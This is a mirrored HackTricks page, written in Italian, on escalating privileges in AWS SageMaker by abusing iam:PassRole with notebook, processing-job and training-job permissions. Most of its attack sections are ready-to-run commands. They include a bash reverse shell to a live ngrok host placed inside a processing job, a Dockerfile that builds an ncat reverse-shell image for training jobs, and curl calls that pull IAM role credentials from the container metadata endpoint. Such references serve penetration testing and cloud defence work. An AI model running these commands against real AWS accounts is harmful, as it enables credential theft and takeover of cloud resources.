mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-10 04:05:09 -08:00
105 lines
5.6 KiB
Markdown
105 lines
5.6 KiB
Markdown
# AWS - Sagemaker Privesc
|
|
|
|
## AWS - Sagemaker Privesc
|
|
|
|
{{#include ../../../banners/hacktricks-training.md}}
|
|
|
|
### `iam:PassRole`, `sagemaker:CreateNotebookInstance`, `sagemaker:CreatePresignedNotebookInstanceUrl`
|
|
|
|
Inizia a creare un notebook con il ruolo IAM ad esso associato:
|
|
```bash
|
|
aws sagemaker create-notebook-instance --notebook-instance-name example \
|
|
--instance-type ml.t2.medium \
|
|
--role-arn arn:aws:iam::<account-id>:role/service-role/<role-name>
|
|
```
|
|
La risposta dovrebbe contenere un campo `NotebookInstanceArn`, che conterrà l'ARN della nuova istanza di notebook creata. Possiamo quindi utilizzare l'API `create-presigned-notebook-instance-url` per generare un URL che possiamo utilizzare per accedere all'istanza di notebook una volta che è pronta:
|
|
```bash
|
|
aws sagemaker create-presigned-notebook-instance-url \
|
|
--notebook-instance-name <name>
|
|
```
|
|
Naviga all'URL con il browser e clicca su \`Open JupyterLab\` in alto a destra, poi scorri verso il basso fino alla scheda “Launcher” e sotto la sezione “Other”, clicca sul pulsante “Terminal”.
|
|
|
|
Ora è possibile accedere alle credenziali dei metadati del ruolo IAM.
|
|
|
|
**Impatto Potenziale:** Privesc al ruolo di servizio sagemaker specificato.
|
|
|
|
### `sagemaker:CreatePresignedNotebookInstanceUrl`
|
|
|
|
Se ci sono **notebook Jupyter già in esecuzione** su di esso e puoi elencarli con `sagemaker:ListNotebookInstances` (o scoprirli in qualsiasi altro modo). Puoi **generare un URL per essi, accedervi e rubare le credenziali come indicato nella tecnica precedente**.
|
|
```bash
|
|
aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name <name>
|
|
```
|
|
**Impatto Potenziale:** Privesc al ruolo di servizio sagemaker associato.
|
|
|
|
### `sagemaker:CreateProcessingJob,iam:PassRole`
|
|
|
|
Un attaccante con tali permessi può fare in modo che **sagemaker esegua un processingjob** con un ruolo sagemaker associato. L'attaccante può indicare la definizione del contenitore che verrà eseguito in un **istanza di account ECS gestita da AWS**, e **rubare le credenziali del ruolo IAM associato**.
|
|
```bash
|
|
# I uploaded a python docker image to the ECR
|
|
aws sagemaker create-processing-job \
|
|
--processing-job-name privescjob \
|
|
--processing-resources '{"ClusterConfig": {"InstanceCount": 1,"InstanceType": "ml.t3.medium","VolumeSizeInGB": 50}}' \
|
|
--app-specification "{\"ImageUri\":\"<id>.dkr.ecr.eu-west-1.amazonaws.com/python\",\"ContainerEntrypoint\":[\"sh\", \"-c\"],\"ContainerArguments\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/14920 0>&1\\\"\"]}" \
|
|
--role-arn <sagemaker-arn-role>
|
|
|
|
# In my tests it took 10min to receive the shell
|
|
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" #To get the creds
|
|
```
|
|
**Impatto Potenziale:** Privesc al ruolo di servizio sagemaker specificato.
|
|
|
|
### `sagemaker:CreateTrainingJob`, `iam:PassRole`
|
|
|
|
Un attaccante con questi permessi sarà in grado di creare un lavoro di addestramento, **eseguendo un container arbitrario** su di esso con un **ruolo allegato**. Pertanto, l'attaccante sarà in grado di rubare le credenziali del ruolo.
|
|
|
|
> [!WARNING]
|
|
> Questo scenario è più difficile da sfruttare rispetto al precedente perché è necessario generare un'immagine Docker che invierà la rev shell o le credenziali direttamente all'attaccante (non è possibile indicare un comando di avvio nella configurazione del lavoro di addestramento).
|
|
>
|
|
> ```bash
|
|
> # Crea immagine docker
|
|
> mkdir /tmp/rev
|
|
> ## Nota che il lavoro di addestramento chiamerà un eseguibile chiamato "train"
|
|
> ## Ecco perché sto mettendo la rev shell in /bin/train
|
|
> ## Imposta i valori di <YOUR-IP-OR-DOMAIN> e <YOUR-PORT>
|
|
> cat > /tmp/rev/Dockerfile <<EOF
|
|
> FROM ubuntu
|
|
> RUN apt update && apt install -y ncat curl
|
|
> RUN printf '#!/bin/bash\nncat <YOUR-IP-OR-DOMAIN> <YOUR-PORT> -e /bin/sh' > /bin/train
|
|
> RUN chmod +x /bin/train
|
|
> CMD ncat <YOUR-IP-OR-DOMAIN> <YOUR-PORT> -e /bin/sh
|
|
> EOF
|
|
>
|
|
> cd /tmp/rev
|
|
> sudo docker build . -t reverseshell
|
|
>
|
|
> # Caricalo su ECR
|
|
> sudo docker login -u AWS -p $(aws ecr get-login-password --region <region>) <id>.dkr.ecr.<region>.amazonaws.com/<repo>
|
|
> sudo docker tag reverseshell:latest <account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell:latest
|
|
> sudo docker push <account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell:latest
|
|
> ```
|
|
```bash
|
|
# Create trainning job with the docker image created
|
|
aws sagemaker create-training-job \
|
|
--training-job-name privescjob \
|
|
--resource-config '{"InstanceCount": 1,"InstanceType": "ml.m4.4xlarge","VolumeSizeInGB": 50}' \
|
|
--algorithm-specification '{"TrainingImage":"<account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell", "TrainingInputMode": "Pipe"}' \
|
|
--role-arn <role-arn> \
|
|
--output-data-config '{"S3OutputPath": "s3://<bucket>"}' \
|
|
--stopping-condition '{"MaxRuntimeInSeconds": 600}'
|
|
|
|
#To get the creds
|
|
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
|
|
## Creds env var value example:/v2/credentials/proxy-f00b92a68b7de043f800bd0cca4d3f84517a19c52b3dd1a54a37c1eca040af38-customer
|
|
```
|
|
**Impatto Potenziale:** Privesc al ruolo di servizio sagemaker specificato.
|
|
|
|
### `sagemaker:CreateHyperParameterTuningJob`, `iam:PassRole`
|
|
|
|
Un attaccante con questi permessi sarà (potenzialmente) in grado di creare un **lavoro di addestramento degli iperparametri**, **eseguendo un contenitore arbitrario** su di esso con un **ruolo allegato**.\
|
|
_Non ho sfruttato a causa della mancanza di tempo, ma sembra simile agli exploit precedenti, sentiti libero di inviare una PR con i dettagli dello sfruttamento._
|
|
|
|
## Riferimenti
|
|
|
|
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/)
|
|
|
|
{{#include ../../../banners/hacktricks-training.md}}
|